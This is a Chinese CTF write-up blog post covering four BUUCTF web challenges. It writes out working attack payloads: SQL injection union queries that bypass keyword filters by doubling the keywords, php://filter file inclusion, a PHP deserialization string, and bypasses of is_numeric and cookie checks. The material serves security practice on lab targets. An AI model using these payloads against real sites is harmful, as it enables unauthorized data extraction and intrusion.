Web-6(21-24)-BUUCTF平台

本篇内容
[RoarCTF 2019]Easy Java
[极客大挑战 2019]BabySQL
[ZJCTF 2019]NiZhuanSiWei
[极客大挑战 2019]BuyFlag

上一篇 | 目录 | 下一篇

[RoarCTF 2019]Easy Java

开头一个登录框,使用用户名为admin,密码为admin888登录成功发现提示flag不在这里(至于猜不到admin888倒是可以用字典暴破的,这里不细写)。
在这里插入图片描述
返回首页点击help
在这里插入图片描述
尝试一番后发现不会写,百度,大佬文章:[RoarCTF 2019]Easy Java
截取重要的一段话:

WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件

漏洞检测以及利用方法:
通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。

一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了)。

然后发现原来是要换请求方式啊,换了之后发现了是跟Tomcat有关的报错,那就看看配置文件web.xml,在WEB-INF/web.xml。
在这里插入图片描述
看到了貌似与flag有关的东西com.wm.ctf.LoginController,查看一下:

filename=WEB-INF/classes/com/wm/ctf/FlagController.class

在这里插入图片描述
看到Zmxh字眼就知道base64的flag出来了,base64解密一下就能拿到最终flag。
在这里插入图片描述





[极客大挑战 2019]BabySQL

熟悉的界面,类似与我之前写的[极客大挑战 2019]LoveSQL
在这里插入图片描述

以下内容都是填在框中的,这里这么写只是为了方便表述。当然的,在hackbar下只需要将#改成%23即可。

username=1&password=123				//显示 NO,Wrong username password!!!
username=1'&password=123			//报错
username=1'#&password=123			//显示 NO,Wrong username password!!!
username=1' or 1=1#&password=123	//显示 Error!

看来是存在过滤了,尝试后发现可以异或注入,Fuzz模糊测试一下。
在这里插入图片描述
发现被过滤了好多啊,尝试双写绕过,成功。

以下内容都是填在框中的,这里这么写只是为了方便表述。当然的,在hackbar下只需要将#改成%23即可。

username=1' oorr 1=1#&password=123	//显示 Login Success!

开始尝试order by猜字段数
username=1' oorrder bbyy 4#&password=123	//显示 Unknown column '4' in 'order clause'
username=1' oorrder bbyy 3#&password=123	//显示 NO,Wrong username password,说明有3个字段

开始爆库、爆表、爆列、爆字段
username=1' ununionion seselectlect 1,2,3#&password=123			//显示 Hello 2!Your password is '3',这里表明有2,3两个回显位
username=1' ununionion seselectlect 1,database(),3#&password=123	//得到库名“geek”
username=1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=database()#&password=123	//得到表名“b4bsql,geekuser”
username=1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#&password=123	//得到列名“id,username,password”
username=1' ununionion seselectlect 1,group_concat(passwoorrd),3 frfromom b4bsql#&password=123	//得到flag

在这里插入图片描述





[ZJCTF 2019]NiZhuanSiWei

访问网址给了一段源码:

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
//GET传入的text参数要为文件,用file_get_contents读取后的值为“welcome to the zjctf”
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    //GET传入的file参数不能含有flag
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

文件包含的题目,尝试读取一下useless.php,payload:

?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php

然后POST:welcome to the zjctf

在这里插入图片描述
base64解密一下得到useless.php内容:

<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){ 
        	//读取文件 $this->file 里的内容
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

提示有个flag.php,可惜不能直接用file得到flag.php的内容,因为file不能含有flag字眼。
不过还有一个参数password没用上,注意到传入的password会被反序列化然后输出。
那就创建一个Flag对象,使其的$file属性指向flag.php,因为在Flag类里有一个file_get_contents方法将文件里的内容读取,然后echo输出。将创建的Flag对象序列化后赋值给password。

$test = new Flag();
$test->file = 'flag.php';
echo serialize($test);

在这里插入图片描述
payload:

?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

然后POST:welcome to the zjctf

在这里插入图片描述
拿到最终flag。





[极客大挑战 2019]BuyFlag

点击MENU里的PAYFLAG跳转到如下页面:
在这里插入图片描述
右键源代码发现:

	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	//POST的password不能为数字
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	//password要等于404
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}

这里要让password为404,就需要绕过,这里由于is_numeric()函数存在漏洞,只需要在后面加一个%20空格就可以绕过。
题目的“ You must be a student from CUIT!!! ”要求,我是用Google插件“EditThisCookie
”查看Cookie时发现有个user=0,改为user=1就能满足这个条件。
在这里插入图片描述
题目的“ You must be answer the correct password!!! ”要求,POST一个password=404%20就能绕过:
在这里插入图片描述
最后就是买flag了,POST一个money=100000000发现出问题了,传入的太长了,想到是不是可以数组绕过,尝试一下money[]=1发现就得到了flag。
在这里插入图片描述




========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/105436224
========================================================

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章